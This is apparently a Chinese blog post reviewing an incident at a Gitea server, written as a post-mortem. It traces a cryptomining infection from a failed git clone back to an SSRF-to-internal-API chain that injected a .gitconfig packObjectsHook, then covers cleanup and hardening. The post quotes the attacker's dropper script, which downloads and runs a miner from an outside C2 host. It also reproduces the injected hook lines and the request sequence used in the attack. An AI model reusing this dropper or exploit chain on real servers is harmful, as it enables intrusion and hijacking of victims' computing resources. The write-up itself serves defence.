一次 Gitea 服务器入侵事件的完整复盘:从 git clone 失败到 CVE-2026-60004

2026/09/15

记录一次真实的服务器应急响应过程,包含完整的排查思路、命令输出和攻击链还原。希望对遇到类似问题的同学有帮助。


一、事件起因:一个不起眼的 git clone 失败

2026年9月15日下午,我在一台新开的腾讯云 Debian 12 服务器上跑初始化脚本、装好 Docker,准备拉取项目代码时,遇到了一个奇怪的报错:

$ git clone https://git.foresh.com/kicer/agent.git
Cloning into 'agent'...
Username for 'https://git.foresh.com': kicer
Password for 'https://kicer@git.foresh.com':
remote: sh: can't open '/data/gitea/home/p0_75090e81.sh': No such file or directory
remote: aborting due to possible repository corruption on the remote side.
fatal: early EOF
fatal: fetch-pack: invalid index-pack output

can't open '/data/gitea/home/p0_75090e81.sh' —— 这个文件路径完全不在我认识的范围里。这不是普通的 git 错误,这是一个服务端 hook 找不到文件的症状。

我当时的第一反应是「服务端可能挂了」,但接下来发生的事,让我意识到事情远没有这么简单。

二、第一反应:服务器挂了?

登录到运行 Gitea 的服务器(VM-0-8-debian),先看容器状态:

$ docker ps -a | grep gitea
19bae68c09db   gitea/gitea:1.25.2   "/usr/bin/entrypoint…"   8 weeks ago   Up 8 days   gitea

容器 Up 8 days,运行正常。但 Gitea 日志里给出了更多信息:

14:51:50  Fail to serve RPC(upload-pack) in /data/git/repositories/kicer/agent.git:
          signal: aborted (core dumped) - BUG: upload-pack.c:257: packfile_uris requires sideband-all
14:52:05  Failed to verify user: user's password is invalid [uid: 1, name: kicer]
...
14:59:01  Fail to serve RPC(upload-pack) ...

注意时间点 —— 14:59:01 这个时间戳,后面会反复出现。


三、第一层排查:发现 XMRig 挖矿木马

进入 Gitea 容器,列一下 /data/gitea/ 下的隐藏文件:

$ docker exec -it gitea sh
# ls -la /data/gitea/
-rwxr-xr-x 1 git git  8297712 Sep 11 20:05 .sys_health_s3
-rw-r--r-- 1 git git     5632 Sep 15 14:59 .sys_health_s3.json
-rw-r--r-- 1 git git  2404   Sep 15 14:59 .gitea_cron_health

.sys_health_s3 是 8.2MB 的可执行文件 —— 名字伪装成健康检查,实际是 XMRig 挖矿程序

它的配置文件 .sys_health_s3.json 里,是完整的门罗币矿池配置:

{
  "autosave": true,
  "background": true,
  "cpu": { "enabled": true, "priority": 5, "max-threads-hint": 100, "yield": false, "asm": true },
  "pools": [
    { "url": "gulf.moneroocean.stream:443",
      "user": "8C49duEzieACHcWVK4fFDxcsDgdsr88BkSk83vx6MsbGQTYcJUfHu3ocaK2rDU9dYARYTP6YQ4fzDckRoJHTBeTYF31QkBY",
      "pass": "Gitea S2",
      "rig-id": "Gitea S2",
      "keepalive": true,
      "tls": true },
    { "url": "pool.hashvault.pro:443", ... },
    { "url": "pool.hashvault.pro:5555", ... }
  ]
}

关键信号:

进程也确实在跑:

$ ps auxf | grep sys_health
196440 git  0:00 /data/gitea/.sys_health_s3 --config=/data/gitea/.sys_health_s3.json

木马挖矿日志显示:

[2026-09-12 18:13:33]  net  gulf.moneroocean.stream:443 error:
    "Permanently banned payment address 8C49duEzi... provided:
     Scans for vurnable servers, exploits them, installs malware, starts mining"

连矿池都把他的钱包封了,理由是「扫描服务器、利用漏洞、植入恶意软件、挖矿」。 攻击者已经活跃到被矿池标记的程度。

日志里还能看到木马在 9月15日 14:31 重新启动,CPU 跑满 2 线程,算力约 99 H/s。

此时核心结论已经出来了:服务器被入侵,正在挖矿。


四、第二层排查:木马的持久化机制

木马有很多个文件,每个都承担不同的持久化职责:

/data/gitea/.sys_health_s3         ← 主挖矿程序
/data/gitea/.sys_health_s3.json    ← 配置
/data/gitea/.sys_health_s3.log     ← 运行日志
/data/gitea/.gitea_cron_health     ← cron / watchdog 启动脚本
/data/gitea/.wp_s2_cron            ← 另一个启动脚本
/data/gitea/.wp_s2_wd.pid          ← watchdog 进程 ID
/data/gitea/.gitea_watchdog.pid    ← watchdog 进程 ID
/data/gitea/home/p0_75090e81.sh    ← payload 脚本

打开 .gitea_cron_health,脚本内容如下(有删减):

#!/bin/sh
B=/data/gitea/.sys_health_s3
C=/data/gitea/.sys_health_s3.json
R=https://sunnyeye.solarvest.my/health.bin

SZW=$(wc -c <"$B" 2>/dev/null||echo 0)
if [ "$SZW" -lt 1000000 ]; then
    wget -qO "$B" "$R" 2>/dev/null||curl -fsSL --max-time 90 -o "$B" "$R"
    echo eyJhdXRvc2F2ZSI6dHJ1ZSw... | base64 -d >"$C"
    chmod +x "$B"
fi

pgrep -f "[.]sys_health_s3 --config" >/dev/null 2>&1 || nohup $B --config=$C >/dev/null 2>&1 &

这是 XMRig 下载器

p0_75090e81.sh 更复杂,它还会:

这是一个高度工程化的挖矿木马投放器,设计来对抗简单清理。


五、第三层排查:真正的根因——.gitconfig 注入

删掉了所有木马文件,升级 Gitea 到 1.27.3,密钥轮换,一切看起来恢复正常 —— 但我在新机器上重跑 pull_agent.sh 时,又报错了

remote: sh: can't open '/data/gitea/home/p0_75090e81.sh': No such file or directory
fatal: early EOF

文件已经删了,为什么 git 还在找它?

这说明某处配置仍然指向这个文件

翻遍 Gitea 的数据目录,最后在 /data/gitea/home/.gitconfig 里找到了根因:

[uploadpack]
        packObjectsHook = sh /data/gitea/home/p0_75090e81.sh ;#router: completed POST /api/internal/manager/add-logger for 172.18.0.1:0, 200 OK in 0.2ms @ private/manager.go:104(private.AddLogger)
[uploadpack]
        packObjectsHook = sh /data/gitea/home/p0_75090e81.sh ;#router: completed POST /api/internal/manager/add-logger for 172.18.0.1:0, 200 OK in 0.1ms @ private/manager.go:104(private.AddLogger)
[uploadpack]
        packObjectsHook = sh /data/gitea/home/p0_75090e81.sh ;#router: completed POST /api/internal/manager/add-logger for 172.18.0.1:0, 200 OK in 0.2ms @ private/manager.go:104(private.AddLogger)
...

18 条重复注入!

这是 Git 的 upload-pack.packObjectsHook 配置 —— 每次 git clone / git fetch / git pull 都会执行这个 hook

而 hook 的末尾还带着 Gitea 的日志片段:

;#router: completed POST /api/internal/manager/add-logger for 172.18.0.1:0, 200 OK ... @ private/manager.go:104(private.AddLogger)

攻击者利用了 Gitea 的 /api/internal/manager/add-logger 接口,把日志内容写进了 .gitconfig

这才是真正的持久化机制。删文件不够,因为每次 git 操作,.gitconfig 里的 hook 都会执行一次

  1. git clone 触发 upload-pack
  2. upload-pack.gitconfig 里的 packObjectsHook
  3. 执行 sh /data/gitea/home/p0_75090e81.sh
  4. 脚本下载 XMRig 并启动
  5. 如果脚本本身有问题(thenwget 语法错),git 进程崩溃 → early EOF

这就是为什么每次 clone 都失败,也是为什么文件删了还会报错 —— 因为 git 会去读那个已经不存在的脚本文件。


六、攻击链完整还原

清理 .gitconfig 后,我又去翻 nginx-proxy 的访问日志,找到了完整的攻击序列(2026-09-11 01:30):

01:30:12  GET  /api/v1/version                                        200 21       探测版本
01:30:13  GET  /api/v1/repos/search?limit=10&sort=updated             200 16124    枚举仓库
01:30:13  GET  /kicer/hc32flash                                       200 51923    打开目标仓库
01:30:13  POST /kicer/hc32flash/markup                        200 577   提交恶意markdown
01:30:14  POST /kicer/hc32flash/markup                        200 0     第2次
01:30:14  POST /kicer/hc32flash/markup                        200 2112  第3次(成功)
01:30:15  POST /api/internal/manager/add-logger               200 7     ← SSRF 触发内部API
01:30:16  POST /api/internal/manager/remove-logger/router/p0s75090e  200 24  清理痕迹
01:30:16  POST /api/internal/manager/add-logger               200 7
01:30:16  POST /api/internal/manager/remove-logger/router/p0c75090e  200 24
01:30:17  GET  /kicer/hc32flash.git/info/refs?service=git-upload-pack  200
01:30:17  POST /kicer/hc32flash.git/git-upload-pack          200 149   ← 触发hook执行
01:30:22  POST /kicer/hc32flash.git/git-upload-pack          200 195   ← 木马开始运行

5 秒 13 个请求,一气呵成。UA 全部是 Mozilla/5.0,Client IP 全部是 172.18.0.1(Docker 网关)。

完整攻击链

① 攻击者往 POST /<repo>/markup 接口提交恶意 markdown
    (渲染接口匿名可访问,或通过某些路径绕过认证)
         ↓
② Gitea 渲染 markdown 时,遇到 `<img src="/api/internal/manager/add-logger">`
    之类语法,服务端会主动 fetch 该 URL(SSRF)
         ↓
③ 这个内部 URL 打到 Gitea 自己的内部管理 API
    POST /api/internal/manager/add-logger
         ↓
④ add-logger 的 name 参数被拼接进日志文件路径
    → 攻击者的 payload 被写进 /data/gitea/home/p0_75090e81.sh
         ↓
⑤ 攻击者同时触发一次 git 操作(git-upload-pack)
    → 触发 .gitconfig 里的 packObjectsHook
         ↓
⑥ hook 脚本执行 → 从 C2 下载 XMRig → 常驻挖矿

这就是完整的 CVE-2026-60004 利用链。

为什么日志里查不到攻击者真实 IP?

nginx-proxy 的日志记录格式是这样的:

git.foresh.com 172.18.0.1 - - [11/Sep/2026:01:30:15] "POST /api/internal/..." 200 7 "-" "Mozilla/5.0" "172.18.0.8:3000"

172.18.0.1 是 Docker 网关 IP,172.18.0.8:3000 是 Gitea 容器的内部地址。

真实的外部 IP 被丢掉了,因为反代链路是 外部 → sslh → 宿主 → nginx-proxy → gitea,中间没有传递 X-Forwarded-For

这是本次事件后续调查的最大遗憾 —— 找不到攻击者的原始 IP。


七、修复过程

7.1 清理木马文件

GITEA_DATA=/root/workspace/webserver/gitea/gitea
rm -fv "$GITEA_DATA"/.wp_s2_cron "$GITEA_DATA"/.s3w
rm -fv "$GITEA_DATA"/.sys_health_s3*
rm -fv "$GITEA_DATA"/.wp_s2_wd.pid "$GITEA_DATA"/.gitea_watchdog.pid
rm -fv "$GITEA_DATA"/.gitea_cron_health
rm -fv "$GITEA_DATA"/home/p0_*.sh

7.2 清除 .gitconfig 注入

cat > /root/workspace/webserver/gitea/gitea/home/.gitconfig << 'EOF'
[diff]
        algorithm = histogram
[core]
        logallrefupdates = true
        quotePath = false
        commitGraph = true
[gc]
        reflogexpire = 90
        writeCommitGraph = true
[user]
        name = Gitea
        email = gitea@fake.local
[receive]
        advertisePushOptions = true
        procReceiveRefs = refs/for
[fetch]
        writeCommitGraph = true
[safe]
        directory = *
[uploadpack]
        allowfilter = true
        allowAnySHA1InWant = true
EOF

7.3 升级 Gitea

1.25.2 升级到 1.27.3。数据库自动跑了 20 个 schema 迁移(Migration[323] ~ Migration[342])。

7.4 轮换密钥

NEW_SECRET=$(openssl rand -hex 32)
NEW_INTERNAL=$(openssl rand -hex 32)
NEW_JWT=$(openssl rand -hex 32)

sed -i "s|^SECRET_KEY =.*|SECRET_KEY = $NEW_SECRET|" "$INI"
sed -i "s|^INTERNAL_TOKEN =.*|INTERNAL_TOKEN = $NEW_INTERNAL|" "$INI"
sed -i "s|^JWT_SECRET =.*|JWT_SECRET = $NEW_JWT|" "$INI"

7.5 数据库审计

用 sqlite3 查了几个关键表:

攻击者没有做持久化渗透,只挖矿。

7.6 验证

$ docker exec gitea gitea --version
gitea version 1.27.3 built with go1.26.7-X:jsonv2

$ find /root/workspace/webserver/gitea -maxdepth 3 \( \
    -name ".sys_health*" -o -name ".s3w" -o -name "p0_*.sh" \) 2>/dev/null
(无输出)

$ docker stats gitea --no-stream
CONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT
a8b0217640df   gitea     0.05%     142.5MiB / 1.89GiB

$ curl -I https://git.foresh.com/
HTTP/2 200

$ git clone https://git.foresh.com/kicer/agent.git test-clone
Cloning into 'test-clone'...
(成功)

八、最终定案

项目结论
漏洞编号CVE-2026-60004(Gitea 1.17 ~ 1.27.0 RCE)
CVSS9.8 Critical
首次利用时间2026-09-11 01:30:15
攻击者跳板通过 nginx-proxy 转发(真实 IP 未记录)
利用链POST /<repo>/markup(SSRF)→ POST /api/internal/manager/add-logger(未授权内部接口)→ 注入 .gitconfiguploadpack.packObjectsHook → git 操作触发 → 下载 XMRig
持久化方式.gitconfig hook 注入 + cron + watchdog + 多个路径的备份脚本
攻击者标记Gitea S2 / 钱包 8C49duEzi... / C2 sunnyeye.solarvest.my
木马家族XMRig 6.22.2,门罗币挖矿
持续时间约 4 天(9/11 ~ 9/15)
宿主影响无(未逃逸出 Gitea 容器)
数据影响未发现篡改,4 个用户表干净
修复状态✅ 木马清除 / ✅ 版本升级 / ✅ 密钥轮换 / ✅ 外部不可达

九、复盘与教训

9.1 这次事件暴露的几个问题

① 反代链路没传真实 IP

这是这次调查最大的障碍。所有外部访问在日志里都是 172.18.0.1,看不到攻击者是谁。生产环境一定要在反代层配置 X-Forwarded-For,并且保留在日志里。

REVERSE_PROXY_TRUSTED_PROXIES = * 是危险的

Gitea 的 app.ini 里如果配置成 *,就会信任来自任何来源的 X-Forwarded-For 头。攻击者可以伪造 X-Forwarded-For: 127.0.0.1 冒充本机。应该改成只信任 nginx-proxy 的内网 IP

REVERSE_PROXY_TRUSTED_PROXIES = 172.18.0.2

MODE = console 导致日志丢失

Gitea 默认 MODE = console,日志只输出到 stdout。容器一重启,历史日志就没了。应该改成 MODE = file,让日志持久化:

[log]
MODE = file
LEVEL = info
ROOT_PATH = /data/gitea/log

④ 内部 API 暴露在 HTTP 层

/api/internal/manager/* 是 Gitea 的内部管理接口,正常应该只通过 unix socket 或者 INTERNAL_TOKEN 保护。但 1.25.2 里它们在 HTTP 层是可访问的(只是没人直接请求)。

纵深防御应该是在 nginx 层直接拒绝这个路径

location ~ ^/api/internal/ {
    deny all;
    return 404;
}

这样即使 Gitea 有类似的未授权接口,外部也打不进来。

9.2 关于这次木马的技术细节

这个 XMRig 投放器做得比较完善:

但从行为看,它只做挖矿,不做数据窃取。攻击者的目标就是 CPU 资源。

9.3 检测经验

这次事件暴露了一个排查盲区:只查文件、进程、CPU,查不出「配置注入」类木马。

如果这次我只删了 .sys_health_s3 文件和进程,不查 .gitconfig,那每次 git clone 都会重新感染。最终是 .gitconfig 里的 18 条 packObjectsHook 暴露了完整的持久化机制。

下次遇到类似事件,排查清单要加上

9.4 处置经验

关键三个动作

  1. 先取证,再清理:备份所有可疑文件、日志、core dump,即使暂时看不懂
  2. 升级版本要到位:1.25.2 → 1.27.3,跨了 20 个数据库迁移,但 Gitea 官方迁移是稳定的
  3. 密钥轮换不要省:虽然没证据表明密钥泄露,但攻击者对容器有 shell 权限,理论上能读 app.ini,保守起见全都换

绝对不能做的事


十、后续加固建议

短期(已完成)

中期(建议尽快)

长期(防患于未然)


结语

这次事件从 git clone 失败开始,到完整还原攻击链、定位 CVE、清理木马、升级版本、密钥轮换,前后大约 2 小时。

最有价值的教训是:现代挖矿木马的持久化机制远不止「写文件 + 起进程」这么简单。它们会利用应用程序本身的配置项(比如 Git 的 hook 配置)、日志注入(add-logger)、SSRF(markdown 渲染)等多种方式做持久化。

只做常规检查(进程、文件、cron)是不够的,必须把「所有能执行代码的配置文件」都纳入排查范围。

最后:感谢 CISA 把 CVE-2026-60004 列入 KEV 目录,也感谢 Gitea 官方迅速发布了修复版本。如果这次没有及时升级到 1.27.3,攻击者可能还会用同一方法再来一次。

希望这篇复盘对遇到类似问题的同学有帮助。安全无小事,防患于未然。

← Prev AI畅谈——ARA危机下的掩耳盗铃